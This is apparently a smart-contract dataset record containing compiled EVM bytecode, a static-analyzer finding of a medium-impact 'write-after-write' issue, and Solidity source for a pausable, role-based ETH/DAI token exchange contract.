fffffffffffffff1614611ea4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9b906131a5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0b90613245565b60405180910390fd5b611f1d82612b0e565b9050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611fb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fad906131a5565b60405180910390fd5b600660009054906101000a900460ff16612005576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ffc90613225565b60405180910390fd5b6000600660006101000a81548160ff0219169083151502179055507fa45f47fdea8a1efdd9029a5691c7f759c32b7c698632b563573e155625d1693360405160405180910390a16001905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516121339190613265565b60405180910390a3600190509392505050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121939190613336565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222191906132e0565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516122c19190613265565b60405180910390a3600190509392505050565b6000428211612318576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161230f906130e5565b60405180910390fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361236391906132e0565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156123e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123db906130c5565b60405180910390fd5b82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242f91906132e0565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060400160405280858152602001848152509080600181540180825580915050600190039060005260206000209060020201600090919091909150600082015181600001556020820151816001015550508373ffffffffffffffffffffffffffffffffffffffff167f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b848460405161254d929190613280565b60405180910390a2600190509392505050565b60008160005461257091906132e0565b60008190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c191906132e0565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126629190613265565b60405180910390a36001905092915050565b600081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126c19190613336565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000546127129190613336565b600081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516127769190613265565b60405180910390a36001905092915050565b600080600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208381548110612802577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906002020190508060000154600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128619190613336565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff167f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f182600001546040516128ee9190613265565b60405180910390a2600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490506129849190613336565b815481106129bb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000209060020201600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208481548110612a40577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002090600202016000820154816000015560018201548160010155905050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805480612ada577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000209060020201600080820160009055600182016000905550509055600191505092915050565b60008173ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a381600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600081359050612be581613995565b92915050565b600081359050612bfa816139ac565b92915050565b600060208284031215612c1257600080fd5b6000612c2084828501612bd6565b91505092915050565b60008060408385031215612c3c57600080fd5b6000612c4a85828601612bd6565b9250506020612c5b85828601612bd6565b9150509250929050565b600080600060608486031215612c7a57600080fd5b6000612c8886828701612bd6565b9350506020612c9986828701612bd6565b9250506040612caa86828701612beb565b9150509250925092565b60008060408385031215612cc757600080fd5b6000612cd585828601612bd6565b9250506020612ce685828601612beb565b9150509250929050565b600080600060608486031215612d0557600080fd5b6000612d1386828701612bd6565b9350506020612d2486828701612beb565b9250506040612d3586828701612beb565b9150509250925092565b600060208284031215612d5157600080fd5b6000612d5f84828501612beb565b91505092915050565b612d718161336a565b82525050565b612d808161337c565b82525050565b6000612d91826132c4565b612d9b81856132cf565b9350612dab8185602086016133bf565b612db481613494565b840191505092915050565b6000612dcc603e836132cf565b9150612dd7826134a5565b604082019050919050565b6000612def602e836132cf565b9150612dfa826134f4565b604082019050919050565b6000612e12602e836132cf565b9150612e1d82613543565b604082019050919050565b6000612e356040836132cf565b9150612e4082613592565b604082019050919050565b6000612e58602b836132cf565b9150612e63826135e1565b604082019050919050565b6000612e7b6033836132cf565b9150612e8682613630565b604082019050919050565b6000612e9e602e836132cf565b9150612ea98261367f565b604082019050919050565b6000612ec16034836132cf565b9150612ecc826136ce565b604082019050919050565b6000612ee46039836132cf565b9150612eef8261371d565b604082019050919050565b6000612f07602f836132cf565b9150612f128261376c565b604082019050919050565b6000612f2a602f836132cf565b9150612f35826137bb565b604082019050919050565b6000612f4d602f836132cf565b9150612f588261380a565b604082019050919050565b6000612f706033836132cf565b9150612f7b82613859565b604082019050919050565b6000612f93601c836132cf565b9150612f9e826138a8565b602082019050919050565b6000612fb66035836132cf565b9150612fc1826138d1565b604082019050919050565b6000612fd96045836132cf565b9150612fe482613920565b606082019050919050565b612ff8816133a8565b82525050565b613007816133b2565b82525050565b60006020820190506130226000830184612d68565b92915050565b600060208201905061303d6000830184612d77565b92915050565b6000602082019050818103600083015261305d8184612d86565b905092915050565b6000602082019050818103600083015261307e81612dbf565b9050919050565b6000602082019050818103600083015261309e81612de2565b9050919050565b600060208201905081810360008301526130be81612e05565b9050919050565b600060208201905081810360008301526130de81612e28565b9050919050565b600060208201905081810360008301526130fe81612e4b565b9050919050565b6000602082019050818103600083015261311e81612e6e565b9050919050565b6000602082019050818103600083015261313e81612e91565b9050919050565b6000602082019050818103600083015261315e81612eb4565b9050919050565b6000602082019050818103600083015261317e81612ed7565b9050919050565b6000602082019050818103600083015261319e81612efa565b9050919050565b600060208201905081810360008301526131be81612f1d565b9050919050565b600060208201905081810360008301526131de81612f40565b9050919050565b600060208201905081810360008301526131fe81612f63565b9050919050565b6000602082019050818103600083015261321e81612f86565b9050919050565b6000602082019050818103600083015261323e81612fa9565b9050919050565b6000602082019050818103600083015261325e81612fcc565b9050919050565b600060208201905061327a6000830184612fef565b92915050565b60006040820190506132956000830185612fef565b6132a26020830184612fef565b9392505050565b60006020820190506132be6000830184612ffe565b92915050565b600081519050919050565b600082825260208201905092915050565b60006132eb826133a8565b91506132f6836133a8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561332b5761332a613465565b5b828201905092915050565b6000613341826133a8565b915061334c836133a8565b92508282101561335f5761335e613465565b5b828203905092915050565b600061337582613388565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156133dd5780820151818401526020810190506133c2565b838111156133ec576000848401525b50505050565b60006133fd826133a8565b9150600082141561341157613410613465565b5b600182039050919050565b6000613427826133a8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561345a57613459613465565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000601f19601f8301169050919050565b7f45524332304c6f636b61626c652f7472616e73666572576974684c6f636b557060008201527f203a2043616e6e6f742073656e6420746f207a65726f20616464726573730000602082015250565b7f524542442f617070726f7665203a2053686f756c64206e6f7420617070726f7660008201527f65207a65726f2061646472657373000000000000000000000000000000000000602082015250565b7f45524332304d696e7461626c652f66696e6973684d696e74696e67203a20416c60008201527f72656164792066696e6973686564000000000000000000000000000000000000602082015250565b7f45524332304c6f636b61626c652f6c6f636b203a206c6f636b656420746f746160008201527f6c2073686f756c6420626520736d616c6c6572207468616e2062616c616e6365602082015250565b7f45524332304c6f636b61626c652f6c6f636b203a2043616e6e6f74207365742060008201527f64756520746f2070617374000000000000000000000000000000000000000000602082015250565b7f524542442f7472616e7366657246726f6d203a2053686f756c64206e6f74207360008201527f656e6420746f207a65726f206164647265737300000000000000000000000000602082015250565b7f45524332304c6f636b61626c652f756e6c6f636b3a2063616e6e6f7420756e6c60008201527f6f636b206265666f726520647565000000000000000000000000000000000000602082015250565b7f45524332304d696e7461626c652f6d696e74203a2053686f756c64206e6f742060008201527f6d696e7420746f207a65726f2061646472657373000000000000000000000000602082015250565b7f506175736564203a20546869732066756e6374696f6e2063616e206f6e6c792060008201527f62652063616c6c6564207768656e206e6f742070617573656400000000000000602082015250565b7f45524332304d696e7461626c652f6d696e74203a2043616e6e6f74206d696e7460008201527f2061667465722066696e69736865640000000000000000000000000000000000602082015250565b7f4f776e61626c65203a2046756e6374696f6e2063616c6c656420627920756e6160008201527f7574686f72697a656420757365722e0000000000000000000000000000000000602082015250565b7f524542442f7472616e73666572203a2053686f756c64206e6f742073656e642060008201527f746f207a65726f20616464726573730000000000000000000000000000000000602082015250565b7f45524332304c6f636b61626c652f43616e6e6f742073656e64206d6f7265207460008201527f68616e20756e6c6f636b656420616d6f756e7400000000000000000000000000602082015250565b7f467265657a61626c65203a207461726765742069732066726f7a656e00000000600082015250565b7f506175736564203a20546869732066756e6374696f6e2063616e206f6e6c792060008201527f62652063616c6c6564207768656e207061757365640000000000000000000000602082015250565b7f4f776e61626c652f7472616e736665724f776e657273686970203a2063616e6e60008201527f6f74207472616e73666572206f776e65727368697020746f207a65726f20616460208201527f6472657373000000000000000000000000000000000000000000000000000000604082015250565b61399e8161336a565b81146139a957600080fd5b50565b6139b5816133a8565b81146139c057600080fd5b5056fea26469706673582212201fb9532c7a5af5899635580c1cc91a652151ab0602fb73893e860333a2ee6c7464736f6c63430008010033
{"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}]}}
410
0x6775e95e482be97673ece5adc9c7e19e61783077
pragma solidity 0.4.21; // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: lib/solidity-rationals/contracts/Rationals.sol library R { struct Rational { uint n; // numerator uint d; // denominator } } library Rationals { using SafeMath for uint; function rmul(uint256 amount, R.Rational memory r) internal pure returns (uint256) { return amount.mul(r.n).div(r.d); } } // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/lifecycle/Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } // File: zeppelin-solidity/contracts/ownership/rbac/Roles.sol /** * @title Roles * @author Francisco Giordano (@frangio) * @dev Library for managing addresses assigned to a Role. * See RBAC.sol for example usage. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an address access to this role */ function add(Role storage role, address addr) internal { role.bearer[addr] = true; } /** * @dev remove an address&#39; access to this role */ function remove(Role storage role, address addr) internal { role.bearer[addr] = false; } /** * @dev check if an address has this role * // reverts */ function check(Role storage role, address addr) view internal { require(has(role, addr)); } /** * @dev check if an address has this role * @return bool */ function has(Role storage role, address addr) view internal returns (bool) { return role.bearer[addr]; } } // File: zeppelin-solidity/contracts/ownership/rbac/RBAC.sol /** * @title RBAC (Role-Based Access Control) * @author Matt Condon (@Shrugs) * @dev Stores and provides setters and getters for roles and addresses. * @dev Supports unlimited numbers of roles and addresses. * @dev See //contracts/mocks/RBACMock.sol for an example of usage. * This RBAC method uses strings to key roles. It may be beneficial * for you to write your own implementation of this interface using Enums or similar. * It&#39;s also recommended that you define constants in the contract, like ROLE_ADMIN below, * to avoid typos. */ contract RBAC { using Roles for Roles.Role; mapping (string => Roles.Role) private roles; event RoleAdded(address addr, string roleName); event RoleRemoved(address addr, string roleName); /** * @dev reverts if addr does not have role * @param addr address * @param roleName the name of the role * // reverts */ function checkRole(address addr, string roleName) view public { roles[roleName].check(addr); } /** * @dev determine if addr has role * @param addr address * @param roleName the name of the role * @return bool */ function hasRole(address addr, string roleName) view public returns (bool) { return roles[roleName].has(addr); } /** * @dev add a role to an address * @param addr address * @param roleName the name of the role */ function addRole(address addr, string roleName) internal { roles[roleName].add(addr); emit RoleAdded(addr, roleName); } /** * @dev remove a role from an address * @param addr address * @param roleName the name of the role */ function removeRole(address addr, string roleName) internal { roles[roleName].remove(addr); emit RoleRemoved(addr, roleName); } /** * @dev modifier to scope access to a single role (uses msg.sender as addr) * @param roleName the name of the role * // reverts */ modifier onlyRole(string roleName) { checkRole(msg.sender, roleName); _; } /** * @dev modifier to scope access to a set of roles (uses msg.sender as addr) * @param roleNames the names of the roles to scope access to * // reverts * * @TODO - when solidity supports dynamic arrays as arguments to modifiers, provide this * see: https://github.com/ethereum/solidity/issues/2467 */ // modifier onlyRoles(string[] roleNames) { // bool hasAnyRole = false; // for (uint8 i = 0; i < roleNames.length; i++) { // if (hasRole(msg.sender, roleNames[i])) { // hasAnyRole = true; // break; // } // } // require(hasAnyRole); // _; // } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/Exchange.sol /** * @title Atomic exchange to facilitate swaps from ETH or DAI to a token. * Users an oracle bot to update market prices. */ contract Exchange is Pausable, RBAC { using SafeMath for uint256; string constant ROLE_ORACLE = "oracle"; ERC20 baseToken; ERC20 dai; // 0x89d24A6b4CcB1B6fAA2625fE562bDD9a23260359 address public oracle; R.Rational public ethRate; R.Rational public daiRate; event TradeETH(uint256 amountETH, uint256 amountBaseToken); event TradeDAI(uint256 amountDAI, uint256 amountBaseToken); event RateUpdatedETH(uint256 n, uint256 d); event RateUpdatedDAI(uint256 n, uint256 d); event OracleSet(address oracle); /** * Constructor for exchange. * * @param _baseToken Address of the token to exchange for * @param _dai Address of DAI token * @param _oracle Address of oracle tasked with periodically setting market rates * @param _ethRateN Numerator of the ETH to token exchange rate * @param _ethRateD Denominator of the ETH to token exchange rate * @param _daiRateN Numerator of the DAI to token exchange rate * @param _daiRateD Denominator of the DAI to token exchange rate */ function Exchange( address _baseToken, address _dai, address _oracle, uint256 _ethRateN, uint256 _ethRateD, uint256 _daiRateN, uint256 _daiRateD ) public { baseToken = ERC20(_baseToken); dai = ERC20(_dai); addRole(_oracle, ROLE_ORACLE); oracle = _oracle; ethRate = R.Rational(_ethRateN, _ethRateD); daiRate = R.Rational(_daiRateN, _daiRateD); } /** * Trades ETH for tokens at ethRate. * * @param expectedAmountBaseToken Amount of tokens expected to receive. * This prevents front-running race conditions from occurring when ethRate * is updated. */ function tradeETH(uint256 expectedAmountBaseToken) public whenNotPaused() payable { uint256 amountBaseToken = calculateAmountForETH(msg.value); require(amountBaseToken == expectedAmountBaseToken); require(baseToken.transfer(msg.sender, amountBaseToken)); emit TradeETH(msg.value, amountBaseToken); } /** * Trades DAI for tokens at daiRate. User must first approve DAI to be * transferred by Exchange. * * @param amountDAI Amount of DAI to exchange * @param expectedAmountBaseToken Amount of tokens expected to receive. * This prevents front-running race conditions from occurring when daiRate * is updated. */ function tradeDAI(uint256 amountDAI, uint256 expectedAmountBaseToken) public whenNotPaused() { uint256 amountBaseToken = calculateAmountForDAI(amountDAI); require(amountBaseToken == expectedAmountBaseToken); require(dai.transferFrom(msg.sender, address(this), amountDAI)); require(baseToken.transfer(msg.sender, amountBaseToken)); emit TradeDAI(amountDAI, amountBaseToken); } /** * Calculates exchange amount for ETH to token. * * @param amountETH Amount of ETH, in base units */ function calculateAmountForETH(uint256 amountETH) public view returns (uint256) { return Rationals.rmul(amountETH, ethRate); } /** * Calculates exchange amount for DAI to token. * * @param amountDAI Amount of DAI, in base units */ function calculateAmountForDAI(uint256 amountDAI) public view returns (uint256) { return Rationals.rmul(amountDAI, daiRate); } /** * Sets the exchange rate from ETH to token. * * @param n Numerator for ethRate * @param d Denominator for ethRate */ function setETHRate(uint256 n, uint256 d) external onlyRole(ROLE_ORACLE) { ethRate = R.Rational(n, d); emit RateUpdatedETH(n, d); } /** * Sets the exchange rate from ETH to token. * * @param n Numerator for daiRate * @param d Denominator for daiRate */ function setDAIRate(uint256 n, uint256 d) external onlyRole(ROLE_ORACLE) { daiRate = R.Rational(n, d); emit RateUpdatedDAI(n, d); } /** * Recovers DAI, leftover tokens, or other. * * @param token Address of token to withdraw * @param amount Amount of tokens to withdraw */ function withdrawERC20s(address token, uint256 amount) external onlyOwner { ERC20 erc20 = ERC20(token); require(erc20.transfer(owner, amount)); } /** * Changes the oracle. * * @param _oracle Address of new oracle */ function setOracle(address _oracle) external onlyOwner { removeRole(oracle, ROLE_ORACLE); addRole(_oracle, ROLE_ORACLE); oracle = _oracle; emit OracleSet(_oracle); } /// @notice Owner: Withdraw Ether function withdrawEther() external onlyOwner { owner.transfer(address(this).balance); } }
0x606060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630988ca8c1461010c578063217fe6c61461018857806322c69b151461021c5780632f5e8d29146102485780633f4ba83a1461027457806340698729146102895780635c975abb146102cb5780637362377b146102f85780637adbf9731461030d5780637dc0d1d0146103465780638456cb591461039b5780638da5cb5b146103b057806396a7016914610405578063cbfebb341461041d578063d2d93f9014610449578063d9c522ec14610479578063dc01bd0c146104a9578063f1daa5ba146104e0578063f2fde38b14610517575b600080fd5b341561011757600080fd5b610186600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610550565b005b341561019357600080fd5b610202600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506105d1565b604051808215151515815260200191505060405180910390f35b341561022757600080fd5b6102466004808035906020019091908035906020019091905050610658565b005b341561025357600080fd5b61027260048080359060200190919080359060200190919050506108d2565b005b341561027f57600080fd5b610287610984565b005b341561029457600080fd5b6102c9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a42565b005b34156102d657600080fd5b6102de610b8c565b604051808215151515815260200191505060405180910390f35b341561030357600080fd5b61030b610b9f565b005b341561031857600080fd5b610344600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c74565b005b341561035157600080fd5b610359610e16565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103a657600080fd5b6103ae610e3c565b005b34156103bb57600080fd5b6103c3610efc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61041b6004808035906020019091905050610f21565b005b341561042857600080fd5b6104476004808035906020019091908035906020019091905050611080565b005b341561045457600080fd5b61045c611132565b604051808381526020018281526020019250505060405180910390f35b341561048457600080fd5b61048c611144565b604051808381526020018281526020019250505060405180910390f35b34156104b457600080fd5b6104ca6004808035906020019091905050611156565b6040518082815260200191505060405180910390f35b34156104eb57600080fd5b6105016004808035906020019091905050611189565b6040518082815260200191505060405180910390f35b341561052257600080fd5b61054e600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111bc565b005b6105cd826001836040518082805190602001908083835b60208310151561058c5780518252602082019150602081019050602083039250610567565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902061131190919063ffffffff16565b5050565b6000610650836001846040518082805190602001908083835b60208310151561060f57805182526020820191506020810190506020830392506105ea565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902061132a90919063ffffffff16565b905092915050565b60008060149054906101000a900460ff1615151561067557600080fd5b61067e83611156565b9050818114151561068e57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b151561078657600080fd5b5af1151561079357600080fd5b5050506040518051905015156107a857600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561086c57600080fd5b5af1151561087957600080fd5b50505060405180519050151561088e57600080fd5b7fd0a583a37173dee286f3b57524340bf9587896d56b81c76eb7cd12ea04218b238382604051808381526020018281526020019250505060405180910390a1505050565b6040805190810160405280600681526020017f6f7261636c6500000000000000000000000000000000000000000000000000008152506109123382610550565b604080519081016040528084815260200183815250600760008201518160000155602082015181600101559050507f2b40d0d126883f34c1b61576947f79f3d40f65890a48b07262ea68266132eb048383604051808381526020018281526020019250505060405180910390a1505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109df57600080fd5b600060149054906101000a900460ff1615156109fa57600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a9f57600080fd5b8290508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610b6557600080fd5b5af11515610b7257600080fd5b505050604051805190501515610b8757600080fd5b505050565b600060149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bfa57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610c7257600080fd5b565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ccf57600080fd5b610d30600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040805190810160405280600681526020017f6f7261636c650000000000000000000000000000000000000000000000000000815250611383565b610d6f816040805190810160405280600681526020017f6f7261636c6500000000000000000000000000000000000000000000000000008152506114d4565b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f3f32684a32a11dabdbb8c0177de80aa3ae36a004d75210335b49e544e48cd0aa81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e9757600080fd5b600060149054906101000a900460ff16151515610eb357600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060149054906101000a900460ff16151515610f3e57600080fd5b610f4734611189565b90508181141515610f5757600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561101b57600080fd5b5af1151561102857600080fd5b50505060405180519050151561103d57600080fd5b7f02cd377c7b17f4064bbd71006b4d268658743232b47801e8e721b6906e1c85e43482604051808381526020018281526020019250505060405180910390a15050565b6040805190810160405280600681526020017f6f7261636c6500000000000000000000000000000000000000000000000000008152506110c03382610550565b604080519081016040528084815260200183815250600560008201518160000155602082015181600101559050507f882e765099912d83e8c2721f9496c92b1f092d9fccc41812b2c6b87bb0b72e8383836040518083815260200182815260200